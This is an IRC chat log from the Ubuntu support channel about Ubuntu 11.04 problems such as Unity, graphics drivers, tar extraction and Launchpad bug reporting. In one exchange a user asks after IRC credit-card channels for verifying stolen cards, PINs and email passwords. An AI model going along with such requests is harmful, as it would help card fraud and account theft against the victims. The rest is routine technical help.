[11:41] <ubottu> Laurencesm: For Ati/NVidia/Matrox video cards, see https://help.ubuntu.com/community/VideoDriverHowto
[11:42] <Laurencesm> !ati
[11:42] <bullgard4> js__: The default graphical user interface of Ubuntu 11.04 is "Unity". Do you see a few icons to the right of your screen image?
[11:43] <kryl> iceroot, don't know
[11:43] <js__> bullgard4: I only see icons to the left of my screen
[11:44] <bullgard4> js__: I made a mistake. I meant "to the left". --  So you are using "Unity" as your graphical user interface.
[11:44] <js__> bullgard4: I am fresh install Ubuntu 11.04, so I think it is Unity
[11:44] <kryl> iceroot, /etc/initramfs-tools/conf.d/cryptroot in initramfs looks good
[11:44] <kryl> but it stay locked in here
[11:45] <bullgard4> js__: Yes. --  I cannot help you as I do not use Unity myself. --  Good luck with Ubuntu!
[11:45] <js__> bullgard4: Nevermind, Thanks
[11:46] <Dan_E> how do I get full screen view for youtube videos in ubuntu 11.04?
[11:46] <wolfy_> I'm not amazed by unity either
[11:46] <raptor> ciao
[11:46] <raptor> !list
[11:46] <ubottu> This is not a file sharing channel (or network); be sure to read the channel topic. If you're looking for information about me, type « /msg ubottu !bot ». If you're looking for a channel, see « /msg ubottu !alis ».
[11:46] <bindi> Unity is horrible tbh and they should have something else for the next release :/
[11:46] <bullgard4> js__: I have read that such an error occurs with Unity. But I do not know how to fix it.
[11:47] <wolfy_> !cc verify 3264378345
[11:47] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[11:47] <wolfy_> :))
[11:48] <wolfy_> !ccroute 423056346740
[11:48] <bullgard4> js__: I would recommend that you switch to Ubuntu Classic view. Ubuntu Classic View does not have many errors.
[11:48] <wolfy_> =))
[11:49] <wolfy_> dose channel's with cc exist anymore in these times?
[11:49] <js__> bullgard4: how to switch to classic view?
[11:49] <bullgard4> wolfy_: What is a "channel with cc"?
[11:49] <wolfy_> js__, logout and from the longin screen you can switch to ubuntu classic
[11:49] <marenostrum> js__, Your problem shouldn't have to to anything with Unity interface. I'm on Unity as well but don't experience the problem. I try to think about it but, sorry, I couldn't figure out anything. By the way, is there any other problem with the system? Is the terminal the default one, gnome-terminal?
[11:50] <mgj> In 11.04, how do i change my workspace positioning? Default has a 2x2 grid, but i would much prefer a 1x4 row. As the bottom panel is removed in 11.04, i cannot find anywhere to change this. I refuse to believe that this simple task is impossible to do in unity...?
[11:50] <wolfy_> bullgard4, irc credit card channel
[11:50] <js__> wolfy_: thanks
[11:50] <stimpie> mgj: its an option in compiz-settings-manager
[11:51] <wolfy_> there you can verify the cc, route to bank, pin number, email password and dirty h0ax like that
[11:51] <js__> marenostrum: It is a default terminal, last time when I was using Ubuntu 10.10 also faced a same problem
[11:51] <bullgard4> js__: It is not complicated: You will have to quit (or "terminate") Unity. Then start anew. When you are prompted for your login name and your logon password, you will find at the bottom at about the middle a menu which has a menu item "Ubuntu Classic". Press on it.
[11:52] <mgj> stimpie, thank you
[11:52] <marenostrum> js__, So its definetely not related with Unity. But what? Lets google some.
[11:52] <js__> bullgard4: thanks
[11:53] <js__> marenostrum: I have been googled, but no result. I think no one have face this kind of problem
[11:53] <pranav> hey, can anyone tell me the most appropriate alternative of 'wordweb', a thesaurus software for ubuntu :?
[11:53] <iceroot> kryl: is the modul loaded? (lsmod)
[11:53] <stimpie> mgj: to be more precise its at 'general options'-> 'Desktop size'
[11:54] <marenostrum> js__, Some did. Would you please wait for me for a couple of minutes?
[11:54] <js__> marenostrum: Yes. Are you found a solution?
[11:55] <marenostrum> js__, Not sure about the solution but found something similar. 3 minutes.
[11:55] <ph88> i am using SciTE as my text editor ... how do i set it so it opens new files in a new tab and not in a new window ?
[11:55] <DJones> pranav: http://packages.ubuntu.com/search?keywords=thesaurus&searchon=names&suite=natty&section=all There's various thesaurus & descriptions listed here, hopefully one of those will help you
[11:55] <bullgard4> Pranav: will you be content with "dict"?
[11:55] <js__> marenostrum: Thanks. Send me the link later.
[11:56] <pranav> bullgard4: no, i need synonyms, antonyms, near, & everything a word has relation with ;)
[11:56] <pranav> bullgard4: which do you suggest
[11:56] <kryl> iceroot, I'll double check do you know the exact names of these modules ?
[11:56] <marenostrum> js__, 1st link: https://bugs.launchpad.net/ubuntu/+source/compiz/+bug/252144  Its an old bug and should be fixed but mat give an idea. There's one more. Coning.
[11:56] <ubottu> Ubuntu bug 252144 in scim (Ubuntu) "Alt-tab causes keyboard lockup" [Medium,Confirmed]
[11:57] <Dan_E> is there a fix to get full screen view for youtube videos in 11.04?
[11:57] <iceroot> kryl: on my crpyted-system its "dm_crypt"
[11:57] <bullgard4> Pranav: "dict" does not list "everything a word has relation with". Sorry.
[11:57] <aeon-ltd> Dan_E: is it crashing back everytime you try?
[11:57] <Dan_E> just get a white screen
[11:57] <pranav> bullgard4: have you used wordweb, i need a software like it in Linux
[11:58] <aeon-ltd> Dan_E: firefox? using unity?
[11:58] <bullgard4> Pranav: No.
[11:58] <Dan_E> can hit esc and get out of it
[11:58] <js__> marenostrum: Yes, is exactly this kind of problem
[11:58] <Dan_E> firefox yes unity??
[11:58] <botcity> js__, have you got ccsm installed?
[11:58] <pranav> Someone was speaking about bug. And My ubuntu has already freezed except this empathy window
[11:58] <aeon-ltd> Dan_E: not using unity?
[11:59] <Dan_E> sorry sir I dont know unity
[11:59] <marenostrum> js__, ıs there any hint for the solution for you? I'm not experiencing the problem.
[11:59] <js__> botcity: No but I have install scim
[11:59] <aeon-ltd> Dan_E: is your desktop iphone like? if not then you're probably not using unity
[11:59] <js__> marenostrum: Haven yet, but I think the link that you provided help a lot. Thank you very much
[12:00] <marenostrum> js__, Did you make a fresh install or Web upgarade? Did you make changes to Compiz?
[12:00] <Dan_E> my desktop has the dock on the left side with icons
[12:01] <js__> marenostrum: I am fresh install Ubuntu 11.04, but i didn't change to Compiz
[12:01] <Dan_E> natty
[12:02] <marenostrum> js__, I see. So I can't say anything why you have the problem and why I don't. Wish luck.
[12:02] <aeon-ltd> Dan_E: thats probably unity, i'm using latest flash and firefox 3 - fullscreen works fine, so i assume its a firefox 4 problem (kinda thin assumption at this point) but 4.0.1 was released, so as soon as ubuntu can brand it you'll know if its flash or firefox; unless you're using compiz then i'd reccommend disabling it
[12:03] <Dan_E> foxfire 401
[12:04] <js__> marenostrum: At least I have a hint about it.
[12:05] <Dan_E> sorry firefox 4.0.1
[12:06] <JediMaster> Just tried a do-release-upgrade on a 10.10 server I run and had it completely fail right at the start: http://pastebin.com/UGXGsRGM
[12:06] <Guest27551> hello, i neeed healp with USB wireless adapter TP-LINK TL-WN727N
[12:06] <Guest27551> i have ubuntu 11.04
[12:06] <Dan_E> how do I get the latest Flash?
[12:07] <JediMaster> the only think other than the backtrace in that pastebin I can see in the log files is: lspci failed: [Errno 2] No such file or directory
[12:07] <aeon-ltd> Dan_E: you can't through normal methods, you have to wait for ubuntu/canonical to brand and test then release it
[12:08] <Dan_E> thank you very much.
[12:08] <JediMaster> I'm going to try and install pciutils on it and try again
[12:08] <aeon-ltd> Dan_E: so you pretty much have to wait, or try other browsers to see if it works - then you'll confirm that its flash
[12:10] <js__> marenostrum: My problem solved. I remove scim package and restart PC.
[12:10] <JediMaster> yeah installing pciutils fixed do-release-upgrade
[12:10] <js__> botcity: Is scim problem. now solved
[12:11] <Dan_E> thanks again!!
[12:11] <PeterZerneche> hello
[12:12] <PeterZerneche> a short question
[12:12] <Rahber> hello
[12:12] <Rahber> whats jockey-backend ?
[12:12] <gju> hey guys, is it possible to change the email reader for the notification area applet to something else (e.g. thunderbird) instead of evolution?
[12:12] <PeterZerneche> its for driver
[12:13] <Rahber> when i tried to install anything it says updating cache and waiting for jockey backend to exit but nothing happens
[12:13] <aeon-ltd> !package jockey-backend
[12:13] <aeon-ltd> !find jockey-backend
[12:13] <ubottu> File jockey-backend found in jockey-common
[12:14] <PeterZerneche> hello
[12:14] <Rahber> how do i sort it out ?
[12:14] <PeterZerneche> a short question
[12:14] <bullgard4> How does MetaCity change if I assert in gconf-editor: apps->metacity->general->compositing_manager? (I did read http://en.wikipedia.org/wiki/Compositing)
[12:15] <bullgard4> !ask | PeterZerneche
[12:15] <ubottu> PeterZerneche: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[12:15] <PeterZerneche> bullgard4: first i have to say i love gnome 2. kde and tooo xfce are also okay. but i heard noww, gnome 2 shouldnt be in 11.10. what should i do? switch to kde? gnome 3 and unity is quite okay, but not good.
[12:16] <Rahber> i cant get rid of that jockey-backend to exit ?
[12:17] <arsenall_> try fluxbox
[12:17] <bullgard4> PeterZerneche: My advice: Stick to GNOME 2 in Natty. In Oneiron GNOME 3 will be developed very well, and Ubuntu will base much of their desktop activity on GNOME 3. So, switch to GNOME 3 in Oneiron.
[12:18] <PeterZerneche> ok thanks
[12:18] <kryl> iceroot, I have message in console who said : /dev/mapper/vg doesn't exist... (but I can see it in /dev/vg/root for example (vg is the name of my lvm with vg-root, vg-home, etc...) I don't have the command lsmod in busybox ! but I have dm-crypt in /etc/initramfs-tools/modules
[12:19] <bob__> how do I install Googlizer please
[12:19] <AG_Scott> Does anyone know of an indicator applet (right term?) for pidgin?
[12:19] <arsenall_> enlightment 17 is pretty good, but it haves cuople bugs
[12:20] <bullgard4> AG_Scott: Yes. In GNOME 2 it is the second from the right. A letter envelope symbol
[12:20] <AG_Scott> I don't think I called it correctly then lol
[12:20] <Rahber> whats Dependency is not satisfiable: libnspr4-0d (>= 4.7.1)
[12:20] <AG_Scott> I mean something like the envelope.
[12:21] <AG_Scott> Kind of like dropbox has?
[12:21] <bullgard4> !prefix | AG_Scott
[12:21] <ubottu> AG_Scott: As you can see, this is a large channel. If you're speaking to someone in particular, please put their nickname in what you say (use !tab), or else messages get lost and it becomes confusing :)
[12:22] <stephan> hey, i got a question. I removed and installed evolution. Now is my entry in the message applet for all email actions deleted. How can I add this entry again? In Unity, 11.04.
[12:23] <AG_Scott> stephan: one second
[12:23] <remoteCTRL1> i have been searching launchpad for the last 20 minutes in order to find some functionality to report a bug, am i to stoopid to find it or are they too stoopid to place a button???
[12:23] <AG_Scott> stephan: try install evolution-indicator I actually just removed it :D
[12:24] <kapu> is there a way to untar a file.tar.gz where the resulting file is not nested, but in a specified directory? Using 'tar -zxvf file.tar.gz ./path/to/file/wanted_file' results in the file nested in the parent dir
[12:24] <stephan> AG_Scott: This works, thank you very much :)
[12:25] <AG_Scott> :)
[12:25] <Aginor> kapu: yes :D
[12:25] <Aginor> kapu: try -C <target>
[12:25] <kapu> Aginor: ok
[12:26] <vanguard> how can I get rid of everything Ubuntu One?
[12:26] <kapu> Aginor: thanks
[12:26] <Aginor> kapu: success?
[12:26] <Rahber> how to get rid of that jockey-backend ?
[12:26] <AG_Scott> vanguard: open software center and search ubuntu one
[12:27] <GeorgeJ> Hello folks.
[12:28] <GeorgeJ> I'm having problems booting the Ubuntu 11.04 CD. Modprobe is returning an error with an exit status of 0x0009
[12:29] <arsenall_> GeorgeJ:  use pendrive
[12:29] <vanguard> AG_Scott: I guess I will have to restart?
[12:29] <kapu> Aginor: no, but was trying to find capital c in man tar'
[12:29] <GeorgeJ> arsenall_:  Same issue
[12:29] <AG_Scott> I dun know
[12:29] <remoteCTRL1> how do you report a bug on launchpad?
[12:29] <AG_Scott> I removed it earlier and restarted.
[12:29] <AG_Scott> Might as well I guess.
[12:30] <gothelittle> ...Hello?
[12:30] <lubuntu> hi
[12:30] <Aginor> kapu: use / to search :D
[12:31] <Aginor> kapu: also, you might have more luck with "info tar"
[12:31] <gothelittle> Hi! :) I'm trying to figure out this new version of Ubuntu and I'm not used to the chat client. How can I get it to tell me which of my friends are online?
[12:31] <Aginor> kapu: tar -C targetdir -xf sourcefile
[12:31] <Aginor> kapu: add flags as needed, for example j or z and or v
[12:34] <pvh_sa> hey there, how do i add an item to the menu in ubuntu 11.04 ?
[12:35] <kapu> 'tar -zxvf file.tar.gz ./path/to/file/wanted_file' -C ./wanted_file results in something almost, but not entirely unlike joy
[12:35] <Dr_Willis> pvh_sa:  You mean the left side 'launcher' ?
[12:35] <bullgard4> remoteCTRL1: First you will need an account in Launchpad.
[12:35] <gothelittle> Oh! Never mind, I figured it out, it's up under the mail icon. You click on the chat client from there and it'll bring up your contact list.
[12:35] <prov> If I boot ubuntu in the livecd mode can I direct it before it boots to full to mount the disks as readonly?
[12:35] <GeorgeJ> How can I see the full stacktrace of an error during boot? The system crashes afterwards so there is no way of reading the log files.
[12:36] <pvh_sa> Dr_Willis: no, the thing which comes up when i hit the 'windows key' - i've got bacula bat installed, but there's no menu item... so i need to manually create one
[12:36] <Dr_Willis> prov:  not that  i have ever seen.
[12:36] <prov> Dr_Willis: How can it be done?
[12:36] <prov> Dr_Willis: Do I need a special distro?
[12:36] <remoteCTRL1> bullgard4: i had one for many years now, but i never was in the pesky situation to have to report a bug in ubiquity without using apport or something...?
[12:36] <Dr_Willis> pvh_sa:  thats dash (i think) you could make a proper whatever.desktop entry for the program and put it with the other system desktop files.
[12:37] <bullgard4> GeorgeJ: There are more than one provision. You need to install a trace program. You need to install the necessary DEB packages.
[12:37] <Dr_Willis> prov:  Never wanted to do it that way. so ive never tried.  Given the varity of setups out there. I doubt if any disrtos do it that way.
[12:37] <No_one_at_ZNC> Is there, or was there, a Rehan here....
[12:37] <Dr_Willis> prov:  you could perhaps remaster your own. but im not sure what rules you would change for the mount options.
[12:37] <prov> Dr_Willis: Not even forensics distros.
[12:38] <bullgard4> remoteCTRL1: You can probably re-activate it.
[12:38] <Dr_Willis> prov:  go try them and see. theres many of that type out. I never use them.
[12:38] <remoteCTRL1> bullgard4: beg your pardon?
[12:38] <CoachJ> will wubi work with windows 7 and ubuntu 11.4?
[12:38] <Dr_Willis> prov:   you could always use a disrto that has no auto-mounting feature/settings at all.
[12:38] <GeorgeJ> bullgard4: The 11.04 live cd is throwing the error during boot. I think its failing to load "nouveau". I'm pretty sure I cannot make any additions to the CD.
[12:39] <remoteCTRL1> bullgard4: it is not deactivated, i just need to report a bug without using ubuntu onboard means but by using launchpad only
[12:39] <bullgard4> remoteCTRL1: If you had an account in Launchpad and did not use it for a long time, you probably can re-activate your Lanchpad account.
[12:39] <bullgard4> +u
[12:39] <Dr_Willis> GeorgeJ:  you could try the 'nomodeset' option  at boot time. I have to do that for many of my nvidia systems
[12:41] <GeorgeJ> Dr_Willis: Thank you very much, that seems to fix the issue. However , will this cause me any further problems?
[12:41] <remoteCTRL1> bullgard4: I DO HAVE A WORKING ACCOUNT ON LAUNCHPAD, i need to REPORT A BUG, not to CREATE AN ACCOUNT! so far so clear? ;)
[12:41] <Aginor> kapu: why are you having the path there twice?
[12:41] <DarkStar1> How can I find out the version of slapd running?
[12:41] <kapu> Aginor: After failing a few times, i thought i'd ask. lets say you want some file extracted to the current directory from baz.tar.gz where inside BAZ.tar.gz the location of file is ./foo/bar/baz
[12:41] <Aginor> kapu: 'tar -zxvf file.tar.gz  -C ./path/to/file/wanted_file'
[12:42] <jack123> hi all
[12:42] <Aginor> kapu: oh, I didn't realise you're trying to extract only one file from the archive
[12:42] <bullgard4> remoteCTRL1: Log in to Launchpad. Go to https://bugs.launchpad.net/
[12:42] <remoteCTRL1> bullgard4: i am logged in
[12:42] <bullgard4> remoteCTRL1: Select the affected DEB program package.
[12:42] <kapu> Aginor: yes, only one file
[12:43] <Dr_Willis> GeorgeJ:  i use nomodeset. untill i get the nvidia drivers installed.
[12:43] <remoteCTRL1> which is supposedly ubiquity, where do i select it?
[12:43] <Aginor> kapu: so what is not working with the command you pasted?
[12:43] <GeorgeJ> Dr_Willis: Awesome, thanks for the help
[12:44] <remoteCTRL1> bullgard4: which is supposedly ubiquity, where do i select it?
[12:44] <Aginor> kapu: I'd also try to prepend -C
[12:44] <kapu> Aginor: ok
[12:44] <AG_Scott> Is anyone using the "classic desktop" on a non-upgraded install and can test something for me?
[12:44] <bullgard4> remoteCTRL1: They have there a link "Read our guide or take a tour.)
[12:45] <danst_> hello guys, I'm doing ubuntu netboot so I compile kernel by hand. But after it starts booting I see just clear display with only flashing cursor in text mode
[12:45] <remoteCTRL1> bullgard4: i am aware of that but there is no "report a bug" button in there neither ;)
[12:45] <nanomad> I'm having a problem with firefox, can anyone help me?
[12:45] <nanomad> scrolling is painfully slow on some pages
[12:45] <danst_> I can switch to tty1, and the last string tells me init: unreadahead main process (68) terminated with status 5
[12:46] <bullgard4> remoteCTRL1: I did not say "button" but "link".
[12:46] <Dr_Willis> danst_:  i think thats a common message. I see some ureadahead messages on several of my machines.
[12:46] <remoteCTRL1> bullgard4: so far the most promising thing close to a report bug functionality i found here https://bugs.launchpad.net/ubuntu problem  is the "report bug" link leads to the ubuntu homepage and tells me to use ubuntu-bug, which i cannot as the bug is already in the installer...
[12:47] <nanomad> remoteCTRL1 AFAIK you can run ubuntu-bug from the installer
[12:47] <nanomad> unless you cannot boot of course
[12:47] <danst_> Dr_Willis: how do I boot ubuntu single without framebuffer text mode
[12:47] <danst_> I think framebuffer is the problem
[12:47] <CoachJ> can wubi be used with windows 7 and ubuntu 11.4
[12:48] <DarkStar1> DOes anyone know how to find out the version of the running openldap daemon?
[12:48] <DarkStar1> slapd
[12:48] <remoteCTRL1> bullgard4: ok so you said link not button, then please tell me where the link to report a bug is?
[12:48] <Dr_Willis> danst_:  the text option disablesx the framebuffer and plymouth
[12:48] <bildramer> so it's stable
[12:48] <Dr_Willis> danst_:  its not 'single user mode'
[12:48] <remoteCTRL1> nanomad: happen to know how?
[12:48] <danst_> uh
[12:48] <bildramer> whoops, wrong channel.
[12:48] <danst_> how do I specify it
[12:49] <danst_> APPEND root=/dev/nfs nfsroot=192.168.3.241:/home/nfsroot/ubuntu ip=dhcp rw
[12:49] <kapu> Aginor: 'tar -C ./boot -zxf /mnt1/OpenBSD/4.9/i386/base49.tgz ./usr/mdec/boot' still results in nested file. I am not knowing where to put the -C
[12:49] <Dr_Willis> danst_:  at the grub menu, edit the lines, replace quiet splash, with 'text'
[12:49] <nanomad> remoteCTRL1, which installer are you using? alternate cd or live?
[12:49] <danst_> Dr_Willis: no grub menu in netboot
[12:49] <axisys> how do I automate the security update?
[12:49] <Dr_Willis> danst_:  i dont do netboots. so no idea
[12:49] <remoteCTRL1> nanomad: bullgard4 i would like to report a bug thast i have been seing for several versions now that causes ubiquity to freeze when you choose a keyboard layout which leads to you reinstalling, which is time-consuming on a netbook!
[12:49] <danst_> Dr_Willis: could you paste your grub.cfg please
[12:49] <danst_> so I grab your options for text mode
[12:49] <remoteCTRL1> nanomad: not alternat the regular one
[12:50] <Dr_Willis> danst_:  its a kernel option, same as quiet splash,
[12:50] <bullgard4> remoteCTRL1: Apparently the processes to report bugs to Launchpad have changed. In recent times I only used the ubuntu-bug command. But this is not possible for you, I understand. The old process apparently is no longer available. I just read that you can report a bug via an Email as well.
[12:50] <Dr_Willis> danst_: all i do is change 'quiet splash' with 'text'  when i want to.
[12:50] <remoteCTRL1> bullgard4: you gotta be kiddn me! :D
[12:50] <remoteCTRL1> geeez...
[12:50] <bullgard4> remoteCTRL1: See you later.
[12:50] <nanomad> remoteCTRL1, boot the live cd and open a terminal
[12:51] <Aginor> kapu: that unfortunately looks correct to me
[12:51] <remoteCTRL1> now i know why this bug has been existing for versions now: how the hell would you report it? :DDD
[12:51] <remoteCTRL1> bullgard4: thanks for your help, dude, i appreciate it!
[12:51] <kapu> Aginor: ok thanks for looking
[12:51] <Aginor> kapu: and by nested, you mean that tar is preserving the whole path to the file?
[12:51] <remoteCTRL1> nanomad: i CAN do the whole install process again and then report it... *sigh*
[12:51] <Dr_Willis> linux_probe: /vmlinuz-2.6.38-8-generic root=UUID=#####  ro   quiet nosplash  >--> replace quiet nosplash with 'text'
[12:52] <nanomad> remoteCTRL1, that's the point of it
[12:52] <remoteCTRL1> nanomad: my gratitude also to you for your help!
[12:52] <kapu> Aginor: yes
[12:52] <nanomad> remoteCTRL1, there is a way to report a bug without ubuntu-bug
[12:52] <remoteCTRL1> nanomad: yes?
[12:52] <nanomad> remoteCTRL1, but i can't remember which...gimme some time ;)
[12:53] <remoteCTRL1> nanomad: hehe, sure i will yawn alittle infront of my second install attempt while the progressbar creeps its way...
[12:53] <kapu> Aginor: 'tar: Cannot chdir to ./boot: No such file or directoryy'
[12:53] <remoteCTRL1> kapu: /boot not ./boot
[12:53] <zappus> Hey everyone
[12:53] <JrM> hey
[12:53] <nanomad> remoteCTRL1, here you go
[12:53] <nanomad> https://bugs.launchpad.net/ubuntu/+source/ubiquity/+filebug?no-redirect
[12:54] <remoteCTRL1> hey zappus
[12:54] <kapu> remoteCTRL1: ty
[12:54] <zappus> im installing ubuntu 11.04 on a laptop together with win7
[12:54] <nanomad> remoteCTRL1, it was in the middle of the wiki page
[12:54] <zappus> and resizing the partitions takes like 10 min
[12:54] <zappus> and still going
[12:54] <Aginor> kapu: it expects the dir to exist, look into using --strip-components <numberofdirstostrip>
[12:54] <zappus> is something gone wrong
[12:54] <remoteCTRL1> nanomad: the ubuntu bug reporting page??
[12:54] <nanomad> remoteCTRL1, it was in https://help.ubuntu.com/community/ReportingBugs
[12:54] <nanomad> remoteCTRL1, middl of the page
[12:55] <nanomad> remoteCTRL1, section Filing bugs at Launchpad.net
[12:55] <kapu> Aginor: ok ty again for the look
[12:55] <Fleck> anyone can install fglrx on natty?
[12:55] <nanomad> remoteCTRL1, but you SHOULD use ubuntu-bug, really...it gives much more "debug" information
[12:55] <zappus> guys?
[12:56] <remoteCTRL1> darn, you are rigth!
[12:56] <remoteCTRL1> apologies!!
[12:56] <zappus> how long does resizing of partitions take?
[12:56] <nanomad> zappus, well...was the partition defragmented?
[12:56] <Aginor> kapu: I'm just googling really
[12:56] <remoteCTRL1> zappus: depends on how big and how many data on it
[12:56] <Dr_Willis> zappus:  shrinking can take quiet a bit of time. depending on how full and big the filesystem is.
[12:56] <remoteCTRL1> nanomad: the bug that i will report is completely independent of hardware, etc...
[12:57] <Dr_Willis> zappus:  I find windows resizes ntfs MUCH faster then linux and the ubuntu installer does
[12:57] <nanomad> ok
[12:57] <nanomad> no one hre using firefox and experiencing 100% cpu usage while scrolling? It's driving me crazy :/
[12:57] <remoteCTRL1> nanomad: thanks for your help, dude!:)
[12:57] <zappus> oh ok
[12:57] <nanomad> remoteCTRL1, you're welcome!
[12:57] <zappus> there is an option in installler "skip"
[12:57] <zappus> what would that do?
[12:58] <zappus> oh ok nvm
[12:58] <zappus> :P
[12:58] <nanomad> zappus, bad things IF it is resizing the partition
[12:58] <zappus> it moved on
[12:58] <zappus> thanks for help
[12:58] <CoachJ> does anyone know if wubi will work with windows 7 and ubuntu 11.4?
[12:59] <Dr_Willis> CoachJ:  i would think it should.
[12:59] <nanomad> CoachJ, why it shouldn't?
[12:59] <Dr_Willis> but i dont reccomend wubi at all.
[12:59] <Technikfreak> is here anybody from czech?
[12:59] <CoachJ> i dont know i thought i saw a warning somewhere but cant find it now
[13:00] <arsenall_> Dr_Willis:   what do you recomend?
[13:01] <nanomad> arsenall_, use the installer as it is
[13:02] <vatzec> Ubuntu, why can I no longer specify a custom program to use as my HTTP link handler in preferred programs?
[13:03] <vatzec> GNU IceCat doesn't appear on the list
[13:04] <nanomad> vatzec, what's the output of ls -la /usr/bin/www-browser
[13:05] <Technium> I have a problem with my new 11.04 install. The LiveCD booted into Unity with acceleration but now I've installed it I found myself in the old experience. How can I switch to Unity?
[13:06] <nanomad> in gdm there's a menu on the bottom it says Ubuntu classic, change it
[13:06] <Technium> It current Says Ubuntu, not classic :(
[13:07] <botcity> is firefox part of the meta package that comes with ubuntu standard install and if so will there be any problems un-installing it ?
[13:07] <Dr_Willis> arsenall_:  doing a normal install.
[13:08] <Dr_Willis> Technium:  whats your video chipset? you may need to enable the 3d drivers
[13:08] <vatzec> nanomad: "/usr/bin/www-browser -> /etc/alternatives/www-browser"
[13:09] <pranav> I'm using Lucid Lynx, & Firefox 3.6. Now, the picture rendering quality is so low. I noticed it today, I don't think it was before. What do I do ?
[13:09] <Technium> Its a new Dell Latitude 6520 with Intel and Nvidia. The additional drivers say installed but not active.
[13:09] <nanomad> Technium, there is a button to enable it?
[13:10] <nishttal> hi I just installed 11.04 and I have 2 xscreens.. however I only see launchers and panels on the main x screen.. how do i configure the 2nd screen
[13:10] <nanomad> pranav, do you have a ascreenshot?
[13:10] <Technium> Only to remove. The phrase is "activated but not currently in use"
[13:10] <shuduo> anyone know how to apply a patch with binary diff? I tried patch -p1 --binary < my.patch but the binary file did not show up
[13:10] <nanomad> Technium, did you reboot?
[13:10] <Technium> Yes
[13:11] <nanomad> Technium, can you provide the output of lsmod | grep nv
[13:11] <trap8> nanomad: its fine with other applications
[13:11] <botcity> nishttal, enable twin view i think
[13:11] <nishttal> botcity, no i want to keep them seperate
[13:11] <Technium> "nvidia              10709116  0 "
[13:11] <nishttal> botcity, i had the same setup with 10.10 running gnome
[13:12] <nanomad> Technium, run in a terminal sudo nvidia-xconfig
[13:13] <Technium> "VALIDATION ERROR: Data incomplete in file /etc/X11/xorg.conf"
[13:13] <Technium> "Device section "Default Device" must have a Driver line."
[13:13] <nanomad> Technium, sudo mv sudo rm /etc/X11/xorg.conf
[13:13] <nanomad> Technium, forget that last line
[13:13] <Technium> :)
[13:14] <thegoodcushion> I find that in 10.04 I have the su command and none of my passwords work with it.  1) Is su officially supported now?  2)  Why don't my passwords work?
[13:14] <nanomad> Technium, sudo mv /etc/X11/xorg.conf /etc/X11/xorg.conf.back
[13:14] <botcity> nishttal, ho okay.. do you get a benefit from that set-up?
[13:14] <nanomad> Technium, sudo nvidia-xconfig
[13:14] <Technium> Okay, thats is cleaner. Reboot?
[13:14] <zvacet> thegoodcushion:  try with sudo not su
[13:14] <nishttal> yeah.. i can have 1 desktop on 1 screen and 2 on the second.. i like that setup
[13:15] <thegoodcushion> zvacet: yes I know but my questions still stand
[13:15] <nanomad> Technium, if anything goes wrong just run
[13:15] <nanomad> Technium, sudo mv /etc/X11/xorg.conf.back /etc/X11/xorg.conf
[13:15] <KrisDouglas> Hello, how do I load the PAE kernel on my machine?
[13:15] <KrisDouglas> is it as simple as installing it?
[13:15] <nanomad> Technium, and yes..reboot
[13:15] <Technium> Thanks. BRB
[13:15] <Dr_Willis> KrisDouglas:  it is its own package. yes.. that should do it.
[13:15] <Dr_Willis> !pae
[13:15] <ubottu> To use more than ~3.2GB RAM on a 32bit system you can install the PAE-enabled kernel. See https://help.ubuntu.com/community/EnablingPAE for more info
[13:15] <thegoodcushion> KrisDouglas: PAE kernel is default, isn't it?
[13:15] <Dr_Willis> thegoodcushion:  its not the default..
[13:16] <KrisDouglas> apparently not in natty, thegoodcushion
[13:16] <Dr_Willis> i think if you install it.. it might become the default. (ive neverr eally tried it)
[13:16] <thegoodcushion> Dr_Willis: cirkey
[13:16] <thegoodcushion> crikey*
[13:16] <KrisDouglas> thank you Dr_Willis
[13:16] <thegoodcushion> How do I know how much RAM it's using?
[13:16] <KrisDouglas> It was the default in 10.
[13:16] <nanomad> thegoodcushion, free -m
[13:16] <KrisDouglas> gnome-system-monitor or free -m
[13:16] <thegoodcushion> nanomad: Looks like I have 3.5 gigs
[13:17] <thegoodcushion> when my puter has 4 gigs installed
[13:17] <thegoodcushion> blimey
[13:17] <nanomad> thegoodcushion, 32bit os?
[13:17] <thegoodcushion> you'd think PAE would be enabled by default
[13:17] <KrisDouglas> thegoodcushion, means the PAE kernel is not loaded.
[13:17] <thegoodcushion> nanomad: Yeah 32 bit OS on a 64 bit CPU
[13:17] <KrisDouglas> It should be installed by default, it's odd.
[13:17] <nanomad> thegoodcushion, videocard?
[13:17] <thegoodcushion> nanomad: discrete nvidia
[13:17] <tomekh> hi. how do i install _minimall_ set of qt4?
[13:17] <nishttal> does anyone know if there is an issue installing gnome 3 on ubuntu 11.04
[13:18] <DJones> thegoodcushion: It might be showing 3.5gb if you've got shared graphics memory, 512Mb may be reserved for the graphics card which reduces the 4gb originally available
[13:18] <thegoodcushion> See, the ubuntu website says you should use the 32-bit version.  If PAE is not enabled by default, I think 64 bits should be pushed harder.  Plenty of people have 4 gigs now
[13:18] <nanomad> thegoodcushion, on 32bit OS part of the address space is used to address devices such as the GPU
[13:18] <nanomad> thegoodcushion, so 3.5 gigs is normal
[13:18] <thegoodcushion> I think it's normal too.  Windows 7 does the same thing
[13:19] <arsenall_> nishttal:  build your own, or install from ppa
[13:19] <Dr_Willis> thegoodcushion:  ive heard/seen benchmarks where the PAE kernel can be slower then the non pae kernel in some cases.
[13:19] <nanomad> thegoodcushion, you should use a 64bit OS if you need the extra 500Mb
[13:19] <Dr_Willis> I use 64bit on all my machines that can do 64bit. :)
[13:19] <thegoodcushion> It claims here that PAE is installed by default on 10.04: https://help.ubuntu.com/community/EnablingPAE
[13:19] <freakynl> opinions differ on it. basically drivers / hardware can live perfectly in virtual address space. Windows 'steals' the last piece of the memory because of shitty drivers that don't handle it well. That said, some chipset won't present the entire 4G to the OS (say my laptop for example) and thus the OS can not see the full 4G no matter what
[13:20] <zvacet> nishttal:  you can find ppa for gnome3 but installing it will break unity so everyone say that I didn't try
[13:20] <freakynl> opinions on pae differ as well, some say it costs up to 10% performance
[13:20] <xc> Hi! :D
[13:20] <toggles> zvacet: you can try from source, it's not working for me right now, will try a few more times over the next few days to see if git settles a little
[13:21] <nanomad> nishttal, please don't try gnome3 on 11.04. It will break most of the things horribly
[13:21] <thegoodcushion> I would think that plenty of people now have 4 gigs or more of RAM
[13:21] <nishttal> zvacet, nanomad well unity is not working to start with
[13:21] <Technium> After enabling the nvidia driver it booted to a black screen. I'm back on the intel driver. Confused how it worked fine on the LiveCD?
[13:21] <Irani> Can any one suggest a proxy avoidance sw for ubuntu please
